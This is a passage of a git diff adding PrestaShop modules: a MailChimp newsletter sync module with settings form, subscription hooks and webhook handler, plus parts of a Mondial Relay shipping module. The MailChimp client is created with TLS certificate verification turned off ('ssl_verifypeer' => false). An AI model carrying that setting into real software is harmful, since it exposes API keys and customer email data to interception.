Tools::getValue('MAILCHIMP_SEND_NOTIFY'); + if ($double_optin === false + || $send_welcome === false + || $delete_member === false + || $send_goodbye === false + || $send_notify === false) + $output .= $this->displayError($this->l('Invalid settings')); + else + { + Configuration::updateValue('MAILCHIMP_DOUBLE_OPTIN', $double_optin); + Configuration::updateValue('MAILCHIMP_SEND_WELCOME', $send_welcome); + Configuration::updateValue('MAILCHIMP_DELETE_MEMBER', $delete_member); + Configuration::updateValue('MAILCHIMP_SEND_GOODBYE', $send_goodbye); + Configuration::updateValue('MAILCHIMP_SEND_NOTIFY', $send_notify); + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + } + + return $output.$this->displayForm(); + } + + private function getClient($api_key = '') + { + if ($api_key == '') + { + if (!$this->isConfigured()) + return null; + $api_key = Configuration::get('MAILCHIMP_API_KEY'); + } + + $mailchimp = new Mailchimp($api_key, array( + 'ssl_verifypeer' => false + )); + return $mailchimp; + } + + private function getLists() + { + if (!$this->isConfigured()) + return array(); + + $mailchimp = $this->getClient(); + + try { + $response = $mailchimp->lists->getList(); + $lists = $response['data']; + return $lists; + } + catch (Mailchimp_Error $exception) { + return array(); + } + } + + private function getGroupings() + { + if (Configuration::get('MAILCHIMP_LIST_ID') !== '0') + { + $mailchimp = $this->getClient(); + + try + { + $groupings = $mailchimp->lists->interestGroupings(Configuration::get('MAILCHIMP_LIST_ID')); + return $groupings; + } + catch (Mailchimp_Error $exception) + { + return array(); + } + } + + return array(); + } + + public function displayForm() + { + // Get default language + $default_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + $fields_form = array(); + + // API key + $fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('API key'), + ), + 'description' => $this->l('You must have a MailChimp account. You can create one on their website : ') + .'http://mailchimp.com/', + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Mailchimp API key'), + 'desc' => $this->l('Example: 123456789abcdef0123456789abcdef0-us2') + .' http://eepurl.com/im9k', + 'name' => 'MAILCHIMP_API_KEY', + 'size' => 45, + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'name' => 'submitKey', + 'class' => 'button' + ) + ); + + // List + $lists = $this->getLists(); + $fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Default list'), + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Mailchimp list'), + 'desc' => $this->l('How to create one:').' http://eepurl.com/gOHY', + 'name' => 'MAILCHIMP_LIST_ID', + 'options' => array( + 'default' => array( + 'label' => $this->l('Select a list'), + 'value' => 0 + ), + 'query' => $lists, + 'id' => 'id', + 'name' => 'name', + ), + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'name' => 'submitList', + 'class' => 'button' + ) + ); + + // Interest groups + $groupings = $this->getGroupings(); + //TODO +/* +
        + {l s='Mailchimp default group title' mod='mailchimpsync'} + +
        + + +

        {l s='How to create one:' mod='mailchimpsync'}http://eepurl.com/gWOb

        +
        + +
        + + + */ + + // Settings + $fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Settings'), + ), + 'input' => array( + array( + 'type' => (version_compare(_PS_VERSION_, '1.6') < 0) ? 'radio' : 'switch', + 'label' => $this->l('Double Opt in', get_class($this), null, false), + 'name' => 'MAILCHIMP_DOUBLE_OPTIN', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'double_option_on', + 'value' => 1, + 'label' => $this->l('Enabled', get_class($this), null, false) + ), + array( + 'id' => 'double_option_off', + 'value' => 0, + 'label' => $this->l('Disabled', get_class($this), null, false) + ) + ), + //'desc' => $this->l('Enable or disable the prepaid account.', get_class($this), null, false) + ), + array( + 'type' => (version_compare(_PS_VERSION_, '1.6') < 0) ? 'radio' : 'switch', + 'label' => $this->l('Send welcome message', get_class($this), null, false), + 'name' => 'MAILCHIMP_SEND_WELCOME', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'send_welcome_on', + 'value' => 1, + 'label' => $this->l('Enabled', get_class($this), null, false) + ), + array( + 'id' => 'send_welcome_off', + 'value' => 0, + 'label' => $this->l('Disabled', get_class($this), null, false) + ) + ), + //'desc' => $this->l('Enable or disable the prepaid account.', get_class($this), null, false) + ), + array( + 'type' => (version_compare(_PS_VERSION_, '1.6') < 0) ? 'radio' : 'switch', + 'label' => $this->l('Delete member on unsubscribe', get_class($this), null, false), + 'name' => 'MAILCHIMP_DELETE_MEMBER', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'delete_member_on', + 'value' => 1, + 'label' => $this->l('Enabled', get_class($this), null, false) + ), + array( + 'id' => 'delete_member_off', + 'value' => 0, + 'label' => $this->l('Disabled', get_class($this), null, false) + ) + ), + //'desc' => $this->l('Enable or disable the prepaid account.', get_class($this), null, false) + ), + array( + 'type' => (version_compare(_PS_VERSION_, '1.6') < 0) ? 'radio' : 'switch', + 'label' => $this->l('Send goodbye message', get_class($this), null, false), + 'name' => 'MAILCHIMP_SEND_GOODBYE', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'send_goodbye_on', + 'value' => 1, + 'label' => $this->l('Enabled', get_class($this), null, false) + ), + array( + 'id' => 'send_goodbye_off', + 'value' => 0, + 'label' => $this->l('Disabled', get_class($this), null, false) + ) + ), + //'desc' => $this->l('Enable or disable the prepaid account.', get_class($this), null, false) + ), + array( + 'type' => (version_compare(_PS_VERSION_, '1.6') < 0) ? 'radio' : 'switch', + 'label' => $this->l('Send notification message', get_class($this), null, false), + 'name' => 'MAILCHIMP_SEND_NOTIFY', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'send_notify_on', + 'value' => 1, + 'label' => $this->l('Enabled', get_class($this), null, false) + ), + array( + 'id' => 'send_notify_off', + 'value' => 0, + 'label' => $this->l('Disabled', get_class($this), null, false) + ) + ), + //'desc' => $this->l('Enable or disable the prepaid account.', get_class($this), null, false) + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'name' => 'submitSettings', + 'class' => 'button' + ) + ); + + $helper = new HelperForm(); + + // Module, token and currentIndex + $helper->module = $this; + $helper->name_controller = $this->name; + $helper->token = Tools::getAdminTokenLite('AdminModules'); + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + + // Language + $helper->default_form_language = $default_lang; + $helper->allow_employee_form_lang = $default_lang; + + // Title and toolbar + $helper->title = $this->displayName; + $helper->show_toolbar = true; // false -> remove toolbar + $helper->toolbar_scroll = true; // yes - > Toolbar is always visible on the top of the screen. + $helper->submit_action = 'submit'.$this->name; + $helper->toolbar_btn = array(); + + // Load current value + $helper->fields_value['MAILCHIMP_API_KEY'] = Configuration::get('MAILCHIMP_API_KEY'); + $helper->fields_value['MAILCHIMP_LIST_ID'] = Configuration::get('MAILCHIMP_LIST_ID'); + $helper->fields_value['MAILCHIMP_GROUPING_ID'] = Configuration::get('MAILCHIMP_GROUPING_ID'); + $helper->fields_value['MAILCHIMP_GROUP_NAME'] = Configuration::get('MAILCHIMP_GROUP_NAME'); + + $helper->fields_value['MAILCHIMP_DOUBLE_OPTIN'] = Configuration::get('MAILCHIMP_DOUBLE_OPTIN'); + $helper->fields_value['MAILCHIMP_SEND_WELCOME'] = Configuration::get('MAILCHIMP_SEND_WELCOME'); + + $helper->fields_value['MAILCHIMP_DELETE_MEMBER'] = Configuration::get('MAILCHIMP_DELETE_MEMBER'); + $helper->fields_value['MAILCHIMP_SEND_GOODBYE'] = Configuration::get('MAILCHIMP_SEND_GOODBYE'); + $helper->fields_value['MAILCHIMP_SEND_NOTIFY'] = Configuration::get('MAILCHIMP_SEND_NOTIFY'); + + return $helper->generateForm($fields_form); + } + + private function prepareHook() + { + if (Tools::isSubmit('submitNewsletter') + || Tools::isSubmit('blockpopupnewsletter-email')) + { + $email = Tools::getValue('email'); + if (empty($email) || !Validate::isEmail($email)) + return $this->error = $this->l('Invalid email address'); + + /* Unsubscription */ + if (Tools::getValue('action') == '1') + return $this->unregister($email); + + /* Subscription */ + if (Tools::getValue('action') == '0') + return $this->register($email, array('optin_ip' => Tools::getRemoteAddr())); + } + if (Tools::isSubmit('submitMessage')){ + $email = Tools::getValue('customer_email'); + if (!empty($email) && Tools::getValue('newsletter') === true){ + return $this->register($email, array('optin_ip' => Tools::getRemoteAddr())); + } + } + } + + public function registerPopup($email, $data) { + $this->register($email, $data); + } + + public function register($email, $data) + { + $list_id = Configuration::get('MAILCHIMP_LIST_ID'); + if (!$this->isConfigured() || $list_id === '0') + return false; + + $mailchimp = $this->getClient(); + + $merge_vars = $data; + + // add language + if (!array_key_exists('mc_language', $merge_vars)) + $merge_vars['mc_language'] = $this->context->language->iso_code; + + // add grouping of interest + if (Configuration::get('MAILCHIMP_GROUPING_ID') != '0' && Configuration::get('MAILCHIMP_GROUP_NAME') != '') + { + $merge_vars['GROUPINGS'] = array( + array( + 'id' => Configuration::get('MAILCHIMP_GROUPING_ID'), + 'groups' => Configuration::get('MAILCHIMP_GROUP_NAME'), + ), + ); + } + + $double_optin = Configuration::get('MAILCHIMP_DOUBLE_OPTIN'); + $send_welcome = Configuration::get('MAILCHIMP_SEND_WELCOME'); + + try { + $response = $mailchimp->lists->subscribe($list_id, array('email' => $email), $merge_vars, 'html', $double_optin, true, false, $send_welcome); + return (array_key_exists('email', $response)); + } + catch (Mailchimp_Error $exception) { + p($exception); + return false; + } + } + + private function unregister($email) + { + $list_id = Configuration::get('MAILCHIMP_LIST_ID'); + if (!$this->isConfigured() || $list_id === '0') + return false; + + $mailchimp = $this->getClient(); + + $delete_member = Configuration::get('MAILCHIMP_DELETE_MEMBER'); + $send_goodbye = Configuration::get('MAILCHIMP_SEND_GOODBYE'); + $send_notify = Configuration::get('MAILCHIMP_SEND_NOTIFY'); + + try { + $response = $mailchimp->lists->unsubscribe($list_id, array('email' => $email), $delete_member, $send_goodbye, $send_notify); + return (array_key_exists('complete', $response)); + } + catch (Mailchimp_Error $exception) { + return false; + } + } + + public function hookActionCustomerAccountAdd($params) + { + $new_customer = $params['newCustomer']; + if (!Validate::isLoadedObject($new_customer)) + return false; + + $newsletter = $new_customer->newsletter; + $email = $new_customer->email; + if (!$newsletter || !Validate::isEmail($email)) + return true; + + $merge_vars = array( + 'FNAME' => $new_customer->firstname, + 'LNAME' => $new_customer->lastname, + 'optin_ip' => $new_customer->ip_registration_newsletter, + 'optin_time' => $new_customer->newsletter_date_add, + ); + + return $this->register($email, $merge_vars); + } + + public function hookActionObjectCustomerUpdateAfter($params) + { + $customer = $params['object']; + if (!Validate::isLoadedObject($customer)) + return false; + if (!isset($customer->newsletter)) + return false; + + if ($customer->newsletter == 0) + return $this->unregister($customer->email); + else + { + $merge_vars = array( + 'FNAME' => $customer->firstname, + 'LNAME' => $customer->lastname, + 'optin_ip' => $customer->ip_registration_newsletter, + 'optin_time' => $customer->newsletter_date_add, + ); + return $this->register($customer->email, $merge_vars); + } + } + + public function hookDisplayHeader($params) + { + return $this->prepareHook(); + } + + public function hookDisplayLeftColumn($params) + { + return $this->hookDisplayHeader($params); + } + + public function hookDisplayRightColumn($params) + { + return $this->hookDisplayHeader($params); + } + + public function hookDisplayFooter($params) + { + return $this->hookDisplayHeader($params); + } + + public function confirmEvent() + { + $token = Configuration::get('MAILCHIMP_WEBHOOK_TOKEN'); + if ($token === false) + return false; + + if (!Tools::getIsset('token') + || Tools::getValue('token') != $token) + return false; + + if (!Tools::getIsset('type')) + return false; + + $data = Tools::getValue('data'); + switch (Tools::getValue('type')) + { + case 'unsubscribe': + if (!array_key_exists('email', $data)) + return false; + $c = new Customer(); + if ($c->getByEmail($data['email'])) + { + $c->newsletter = 0; + $c->ip_registration_newsletter = null; + $c->newsletter_date_add = null; + $c->update(); + } + break; + case 'subscribe': + if (!array_key_exists('email', $data) + || !array_key_exists('ip_opt', $data)) + return false; + $c = new Customer(); + if ($c->getByEmail($data['email'])) + { + $c->newsletter = 1; + $c->ip_registration_newsletter = $data['ip_opt']; + $c->newsletter_date_add = Tools::getValue('fired_at'); + $c->update(); + } + break; + } + return true; + } + + /* Check if cUrl extension is enabled */ + private function isCurl() + { + return function_exists('curl_version'); + } +} diff --git a/modules/mailchimpsync/translations/fr.php b/modules/mailchimpsync/translations/fr.php new file mode 100755 index 0000000..3666826 --- /dev/null +++ b/modules/mailchimpsync/translations/fr.php @@ -0,0 +1,32 @@ +mailchimpsync_b67f8f1a5223ce3f8fe9699f49ee5ac0'] = 'Mailchimp Sync'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_81431b66e94ab0f0b4775cf6341488b6'] = 'Synchronise automatiquement votre liste d\'abonnés dans PrestaShop avec votre compte MailChimp, et inversement aussi.'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_78d2d84f5fbafa1260f72c39fa0baa2c'] = 'Etes-vous sûr de vouloir désinstaller ce module ? Tous vos réglages seront perdus.'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_f2bbe13e382c81174c81569415e0ad9f'] = 'Ce module requiert l\'extension PHP cUrl.'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_9540dc2a82bc4e981db41557b57bb082'] = 'Vous n\'avez pas encore renseigné votre liste d\'abonnés MailChimp.'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_0c388aab925fc0c95e0ad5580d989f52'] = 'Vous n\'avez pas encore renseigné votre clé API MailChimp.'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_88dca3cc785d5f8f4569e346a842c029'] = 'Clé API invalide'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_c888438d14855d7d96a2724ee9c306bd'] = 'Réglages sauvegardés'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_8d8c5af36af7d1c06fa0658a251620b6'] = 'Liste invalide'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_7b0b542a837a451a546d78bf48608d25'] = 'Paramètres invalides'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_656a6828d7ef1bb791e42087c4b5ee6e'] = 'Clé API'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_e959b1e718c8ec4664ff723347420ddb'] = 'Vous devez avoir un compte MailChimp. Vous pouvez en créer un gratuitement sur leur site internet : '; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_fdebfefcc5e364b9d0f7e5e7fd737a36'] = 'Clé API MailChimp'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_49c5dd55b74f571f422c34064ff9506e'] = 'Exemple : 123456789abcdef0123456789abcdef0-us2'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_c0aea4fd10fe659b3e1691eedf343492'] = 'Liste'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_f8b381451aec9efa624f9f23c516d182'] = 'Liste MailChimp'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_27ca16752194caef767ce8f84636694c'] = 'Comment en créer une : '; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_1a7c1abde79b64cdc74a51fa07414842'] = 'Choisissez une liste'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_85fb5edbed9c4f5b01e208289dad3f31'] = 'Double opt in'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_3a059cde4ab0ee9d4e2284fe8c20576a'] = 'Envoyer un message de bienvenue'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_2b7747f30d02ff4d7aee1192aa661928'] = 'Supprimer le contact au désabonnement'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_7b043a80f20117a9609086b3c0408fda'] = 'Envoyer un message d\'adieu'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_8c76980c28c276c0d3a2064c7a810e80'] = 'Envoyer un message de notification'; +$_MODULE['<{mailchimpsync}prestashop>mailchimpsync_59e4904d4366fab35a8282f418e699de'] = 'Adresse email invalide'; diff --git a/modules/mailchimpsync/translations/index.php b/modules/mailchimpsync/translations/index.php new file mode 100755 index 0000000..a0ff790 --- /dev/null +++ b/modules/mailchimpsync/translations/index.php @@ -0,0 +1,10 @@ +unregisterHook('displayLeftColumn') + && $module->unregisterHook('displayRightColumn') + && $module->unregisterHook('displayFooter') + ); +} diff --git a/modules/mondialrelay/AdminMondialRelay.gif b/modules/mondialrelay/AdminMondialRelay.gif new file mode 100755 index 0000000..7550096 Binary files /dev/null and b/modules/mondialrelay/AdminMondialRelay.gif differ diff --git a/modules/mondialrelay/AdminMondialRelay.php b/modules/mondialrelay/AdminMondialRelay.php new file mode 100755 index 0000000..7637b9f --- /dev/null +++ b/modules/mondialrelay/AdminMondialRelay.php @@ -0,0 +1,154 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/classes/MRCreateTickets.php'); +require_once(dirname(__FILE__).'/mondialrelay.php'); + +class AdminMondialRelay extends AdminTab +{ + private $mondialrelay = NULL; + + public $post_errors = array(); + + public function __construct() + { + $this->mondialrelay = new MondialRelay(); + + $this->table = 'mr_selected'; + + parent::__construct(); + $this->context = Context::getContext(); + } + + private function displayOrdersTable() + { + $order_state = new OrderState((int)(Configuration::get('MONDIAL_RELAY_ORDER_STATE')), $this->context->language->id); + $orders = MondialRelay::getOrders(array(), MondialRelay::NO_FILTER, $this->mondialrelay->account_shop['MR_WEIGHT_COEFFICIENT']); + + // Simulate a ticket generation + $MRCreateTicket = new MRCreateTickets(array( + 'orderIdList' => NULL, + 'totalOrder' => NULL, + 'weightList' => NULL + ), + $this->mondialrelay + ); + + foreach($orders as &$order) + { + $order['display_total_price'] = Tools::displayPrice($order['total'], new Currency($order['id_currency'])); + $order['display_shipping_price'] = Tools::displayPrice($order['shipping'], new Currency($order['id_currency'])); + $order['display_date'] = Tools::displayDate($order['date'], $order['id_lang']); + $order['weight'] = (!empty($order['mr_weight']) && $order['mr_weight'] > 0) ? $order['mr_weight'] : $order['order_weight']; + } + + $controller = (_PS_VERSION_ < '1.5') ? 'AdminContact' : 'AdminStores'; + + $this->context->smarty->assign(array( + 'MR_token_admin_module' => Tools::getAdminToken('AdminModules'.(int)(Tab::getIdFromClassName('AdminModules')).(int)$this->context->employee->id), + 'MR_token_admin_contact' => array( + 'controller_name' => $controller, + 'token' => Tools::getAdminToken($controller.(int)(Tab::getIdFromClassName($controller)).(int)$this->context->employee->id)), + 'MR_token_admin_orders' => Tools::getAdminToken('AdminOrders'.(int)(Tab::getIdFromClassName('AdminOrders')).(int)$this->context->employee->id), + 'MR_order_state_name' => $order_state->name, + 'MR_orders' => $orders, + 'MR_PS_IMG_DIR_' => _PS_IMG_DIR_, + 'MR_errors_type' => $MRCreateTicket->checkPreValidation()) + ); + + unset($order_state); + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'generate_tickets'); + } + + public function displayhistoriqueForm() + { + $query = "SELECT * FROM `"._DB_PREFIX_ ."mr_history` ORDER BY `id` DESC ;"; + + $this->context->smarty->assign(array( + 'MR_histories' => Db::getInstance()->executeS($query)) + ); + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'history'); + } + + public function displaySettings($post_action) + { + $curr_order_state = new OrderState((int)$this->mondialrelay->account_shop['MR_ORDER_STATE']); + $order_state = array( + 'id_order_state' => $this->mondialrelay->account_shop['MR_ORDER_STATE'], + 'name' => $curr_order_state->name[$this->context->language->id] + ); + + $this->context->smarty->assign(array( + 'MR_token_admin_mondialrelay' => Tools::getAdminToken('AdminMondialRelay'.(int)(Tab::getIdFromClassName('AdminMondialRelay')).(int)$this->context->employee->id), + 'MR_account_set' => MondialRelay::isAccountSet(), + 'MR_order_state' => $order_state, + 'MR_orders_states_list' => OrderState::getOrderStates($this->context->language->id), + 'MR_form_action' => $post_action, + 'MR_error_list' => $this->post_errors + )); + + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'settings'); + } + + public function postProcess() + { + $post_action = array( + 'type' => Tools::getValue('MR_action_name'), + 'message_success' => $this->l('Action Succeed'), + 'had_errors' => false + ); + + parent::postProcess(); + + if (Tools::isSubmit('submit_order_state')) + if (($order_state = (int)Tools::getValue('id_order_state'))) + { + $this->mondialrelay->account_shop['MR_ORDER_STATE'] = $order_state; + + if ($this->mondialrelay->updateAccountShop()) + $post_action['message_success'] = $this->l('Order State has been updated'); + else + $this->post_errors[] = $this->l('Cannot Update the account shop'); + } + + if (count($this->post_errors)) + $post_action['had_errors'] = true; + + return $post_action; + } + + public function display() + { + $post_action = count($_POST) ? $this->postProcess() : NULL; + + $this->displaySettings($post_action); + if (MondialRelay::isAccountSet() && (int)$this->mondialrelay->account_shop['MR_ORDER_STATE']) + { + $this->displayOrdersTable(); + $this->displayhistoriqueForm(); + } + } +} diff --git a/modules/mondialrelay/ajax.php b/modules/mondialrelay/ajax.php new file mode 100755 index 0000000..a7e5c65 --- /dev/null +++ b/modules/mondialrelay/ajax.php @@ -0,0 +1,145 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * File called by ajax. It's like a controller, you have to send the + * method name of the webservice and implement it. + * Each Name method allow to instanciate an object containing + * methods to manage correctly the data and name fields + */ + +// Clean displayed content for Admin ajax query +ob_clean(); + +// Front Ajax query, need the front cookie and MR class +// When it's back query, the PS core made the work +if (!defined('_PS_ADMIN_DIR_')) +{ + require_once(realpath(dirname(__FILE__).'/../../config/config.inc.php')); + require_once(realpath(dirname(__FILE__).'/../../init.php')); + require_once(dirname(__FILE__).'/mondialrelay.php'); +} + +$mondialrelay = isset($this) ? $this : new Mondialrelay(); + +require_once(dirname(__FILE__).'/classes/MRCreateTickets.php'); +require_once(dirname(__FILE__).'/classes/MRGetTickets.php'); +require_once(dirname(__FILE__).'/classes/MRGetRelayPoint.php'); +require_once(dirname(__FILE__).'/classes/MRRelayDetail.php'); +require_once(dirname(__FILE__).'/classes/MRManagement.php'); + +// Can't use Tools at this time... Need to know if _PS_ADMIN_DIR_ has to be defined +$method = Tools::getValue('method'); +$token = Tools::getValue('mrtoken'); + +// Access page List liable to the generated token +$accessPageList = array( + MondialRelay::getToken('front') => array( + 'MRGetRelayPoint', + 'addSelectedCarrierToDB' + ), + MondialRelay::getToken('back') => array( + 'MRGetTickets', + 'MRCreateTickets', + 'MRDeleteHistory', + 'uninstallDetail', + 'DeleteHistory' + ) +); + +$params = array(); +$result = array(); + +// If the method name associated to the token received doesn't match with +// the list, then we kill the request +if (!isset($accessPageList[$token]) || !in_array($method, $accessPageList[$token])) + exit(); + +// Method name allow to instanciate his object to properly call the +// implemented interface method and do his job +switch($method) +{ + case 'MRCreateTickets': + $params['orderIdList'] = Tools::getValue('order_id_list'); + $params['totalOrder'] = Tools::getValue('numSelected'); + $params['weightList'] = Tools::getValue('weight_list'); + break; + case 'MRGetTickets': + $params['detailedExpeditionList'] = Tools::getValue('detailedExpeditionList'); + break; + case 'DeleteHistory': + $params['historyIdList'] = Tools::getValue('history_id_list'); + break; + case 'uninstallDetail': + $params['action'] = Tools::getValue('action'); + break; + case 'MRGetRelayPoint': + $params['id_carrier'] = Tools::getValue('id_carrier'); + $params['weight'] = Context::getContext()->cart->getTotalWeight(); + $params['id_address_delivery'] = Context::getContext()->cart->id_address_delivery; + break; + case 'addSelectedCarrierToDB': + $params['id_carrier'] = Tools::getValue('id_carrier'); + $params['id_cart'] = Context::getContext()->cart->id; + $params['id_customer'] = Context::getContext()->customer->id; + $params['id_mr_method'] = Tools::getValue('id_mr_method'); + $params['relayPointInfo'] = Tools::getValue('relayPointInfo'); + break; + default: +} + +// Try to instanciate the method object name and call the necessaries method +try +{ + if (class_exists($method, false)) + { + // $this is the current mondialrelay object loaded when use in BO. Use for perf + $obj = new $method($params, $mondialrelay); + + // Verify that the class implement correctly the interface + // Else use a Management class to do some ajax stuff + if (($obj instanceof IMondialRelayWSMethod)) + { + $obj->init(); + $obj->send(); + $result = $obj->getResult(); + } + unset($obj); + } + else if (($management = new MRManagement($params)) && + method_exists($management, $method)) + $result = $management->{$method}(); + else + throw new Exception('Method Class : '.$method.' can\'t be found'); + unset($management); +} +catch(Exception $e) +{ + echo MRTools::jsonEncode(array('other' => array('error' => array($e->getMessage())))); + exit(-1); +} +echo MRTools::jsonEncode($result); +exit(0); diff --git a/modules/mondialrelay/backward_compatibility/Context.php b/modules/mondialrelay/backward_compatibility/Context.php new file mode 100755 index 0000000..0a7b372 --- /dev/null +++ b/modules/mondialrelay/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + 